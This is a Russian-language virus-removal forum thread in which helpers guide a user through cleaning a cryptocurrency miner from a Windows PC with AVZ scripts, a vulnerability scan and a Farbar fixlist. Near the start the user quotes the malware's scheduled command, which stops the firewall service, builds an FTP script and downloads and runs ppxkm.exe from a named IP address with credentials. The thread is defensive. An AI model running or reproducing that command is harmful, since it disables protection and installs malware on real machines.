до этого вручную очищал планировщик и автозагрузку в реестре
скопировал строку с автозагрузки или с планировщика:
"c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 198.44.226.161> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get ppxkm.exe c:\RECYCLER\ppxkm.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&ppxkm.e"
логи autologger во вложении
Уважаемый(ая) [B]PSI1[/B], спасибо за обращение на наш форум!
Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].
[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
тело файла cmd.txt:
[SPOILER]open 198.44.226.161
123
123
binary
get web7b.ini c:\RECYCLER\web7b.ini
bye [/SPOILER]
входит в [url]ftp://198.44.226.161[/url] логином и паролем 123, 123
и там 2 файла вредоносной программы(есть подозрения, что это майнер криптовалют):
01/31/2018 02:10 422,912 ppxmsw.exe
01/21/2018 04:52 2,384,177 ppxwkc
[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url]:[code]begin
QuarantineFile('C:\hexppxkm.exe', '');
QuarantineFile('C:\Windows\system32\ccf.exe', '');
QuarantineFile('C:\Windows\system32\cmd.txt', '');
QuarantineFile('C:\Windows\System32\config\wshom.exe', '');
QuarantineFile('C:\Windows\system32\heilang.exe', '');
QuarantineFile('C:\Windows\system32\heilang1.exe', '');
QuarantineFile('C:\Windows\system32\hexppxkm.exe', '');
QuarantineFile('C:\Windows\system32\kengdiecs.exe', '');
QuarantineFile('C:\Windows\system32\logfile.txt', '');
QuarantineFile('C:\Windows\system32\nihao.exe', '');
QuarantineFile('C:\Windows\system32\p.exe', '');
QuarantineFile('C:\Windows\system32\ppxkm.exe', '');
DeleteFile('C:\hexppxkm.exe');
DeleteFile('C:\Windows\system32\ccf.exe');
DeleteFile('C:\Windows\system32\cmd.txt');
DeleteFile('C:\Windows\System32\config\wshom.exe', '32');
DeleteFile('C:\Windows\system32\heilang.exe');
DeleteFile('C:\Windows\system32\heilang1.exe');
DeleteFile('C:\Windows\system32\hexppxkm.exe');
DeleteFile('C:\Windows\system32\kengdiecs.exe');
DeleteFile('C:\Windows\system32\nihao.exe');
DeleteFile('C:\Windows\system32\p.exe');
DeleteFile('C:\Windows\system32\ppxkm.exe');
DeleteService('MinerService');
CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
ExecuteRepair(9);
ExecuteWizard('SCU', 2, 2, true);
RebootWindows(false);
end.[/code]Компьютер перезагрузится.
В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.
Сделайте новый лог Autologger.
Взломали вас, меняйте пароли, закрывайте уязвимости.
Выполните скрипт в AVZ при наличии доступа в интернет:[CODE]var
LogPath : string;
ScriptPath : string;
begin
LogPath := GetAVZDirectory + 'log\avz_log.txt';
if FileExists(LogPath) Then DeleteFile(LogPath);
ScriptPath := GetAVZDirectory +'ScanVuln.txt';
if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 1) then ExecuteScript(ScriptPath) else begin
if DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', ScriptPath, 0) then ExecuteScript(ScriptPath) else begin
ShowMessage('Невозможно загрузить скрипт AVZ для обнаружения наиболее часто используемых уязвимостей!');
exit;
end;
end;
if FileExists(LogPath) Then ExecuteFile('notepad.exe', LogPath, 1, 0, false)
end.[/CODE]
После его работы, если будут найдены уязвимости, в блокноте откроется файл avz_log.txt, прикрепите его к сообщению.
Спасибо огромное, вложил коллекшнлог автологгера и загрузил карантин avz
интересно, но файлы wshom.exe, heilang.exe, ccf.exe, heilang1.exe ит.д все равно присутствуют в папке system32...
выполнил скрипт повторно, предварительно отключив Касперского, но эти файлы все равно там
[QUOTE]Поиск критических уязвимостей
MS17-010: Обновления безопасности для Windows SMB Server
[url]http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x64_2decefaa02e2058dcd965702509a992d8c4e92b3.msu[/url]
Установите новый Internet Explorer
[url]http://windows.microsoft.com/ru-ru/internet-explorer/download-ie[/url]
Накопительное обновление системы безопасности для битов аннулирования ActiveX
[url]http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=dd7cc36b-bb4e-4548-8d9c-43c6dd6cb78e[/url]
Уязвимость в ядре Windows может допустить повышение уровня полномочий
[url]http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=5e494723-75d9-4245-8895-3fd5be147cf4[/url]
Уязвимость в MSXML делает возможным удаленное выполнение кода
[url]http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=5bc692f6-11a3-423b-90ff-2f599fe6fdd9[/url]
Уязвимость общих элементов управления Windows делает возможным удаленное выполнение кода
[url]http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=afdb9c83-07e7-4280-94a7-125e0e7320ae[/url]
Для установки этого обновления требуется установить SP3 для Microsoft Office 2007
[url]http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=0E40BBE7-1422-40EA-912D-2A29D709F93F[/url]
Обновление для системы безопасности Microsoft Office Word 2007
[url]http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=a58f32c8-e216-4b89-89a8-6ccfdfa399c5[/url]
Для установки этого обновления требуется установить SP3 для Microsoft Office 2007
[url]http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=0E40BBE7-1422-40EA-912D-2A29D709F93F[/url]
Обновление для системы безопасности Microsoft Office Word 2003 Compatibility Pack
[url]http://www.microsoft.com/downloads/details.aspx?displaylang=ru&FamilyID=0ea0f80e-1c6b-4e92-9ce0-4b18081bd536[/url]
Обнаружено уязвимостей: 8[/QUOTE]Устраняйте критические уязвимости, иначе бесполезно удалять вирусы.
Затем такой лог сделайте.
Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).
Устранил уязвимости, запустил скрипт avz, в итоге файлы(ccf,wshom,итд) после перезагрузки все равно присутствуют
скан FarBar во вложении
Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:[CODE]CreateRestorePoint:
HKLM\...\Run: [360Safetray] => [X]
HKLM\...\Run: [QQPCTray] => [X]
HKLM\...\Run: [RavTRAY] => [X]
HKLM\...\Run: [RISTRAY] => [X]
HKLM\...\Run: [kxesc] => [X]
HKLM\...\Run: [KVMON] => [X]
HKLM\...\Run: [ShStatEXE] => [X]
HKLM\...\Run: [McAfeeUpdaterUI] => [X]
HKLM\...\Run: [KVXP] => [X]
HKLM-x32\...\Run: [] => [X]
HKLM\...\Command Processor: <==== ATTENTION
2018-02-01 15:09 - 2018-02-01 15:09 - 000698880 _____ C:\Windows\system32\config\wshom.exe
2018-02-01 13:10 - 2018-02-01 13:10 - 000424448 _____ C:\Windows\system32\ppxkm.exe
2018-02-01 10:18 - 2018-02-01 10:18 - 000424448 _____ C:\Windows\system32\hexppxkm.exe
2018-01-30 18:44 - 2010-11-21 12:24 - 000152064 _____ (Microsoft Corporation) C:\Windows\system32\heilang1.exe
2018-01-30 18:44 - 2010-11-21 12:24 - 000048128 _____ (Microsoft Corporation) C:\Windows\system32\ccf.exe
2018-01-30 18:44 - 2009-07-14 10:39 - 000055808 _____ (Microsoft Corporation) C:\Windows\system32\heilang.exe
2018-01-30 18:44 - 2009-07-14 10:39 - 000047104 _____ (Microsoft Corporation) C:\Windows\system32\nihao.exe
2018-01-30 18:44 - 2009-07-14 10:38 - 000031232 _____ (Microsoft Corporation) C:\Windows\system32\kengdiecs.exe
Reboot:[/CODE]
и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool. [U]При сохранении выберите кодировку [B]Юникод[/B]![/U]
Отключите до перезагрузки антивирус, [U]закройте все браузеры[/U], в FRST нажмите один раз [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.
Премного благодарен, файлы больше не появляются.
Удалите папку C:\FRST со всем содержимым.
Выполните [url="http://virusinfo.info/showthread.php?t=121902"]рекомендации после лечения[/url].
Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]6[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\hexppxkm.exe - [B]not-a-virus:RiskTool.Win32.BitCoinMiner.irbf[/B][*] c:\windows\system32\config\wshom.exe - [B]not-a-virus:HEUR:RiskTool.Win32.BitMiner.gen[/B][*] c:\windows\system32\hexppxkm.exe - [B]not-a-virus:RiskTool.Win32.BitCoinMiner.irbf[/B][*] c:\windows\system32\ppxkm.exe - [B]not-a-virus:RiskTool.Win32.BitCoinMiner.irbf[/B][/LIST][/LIST]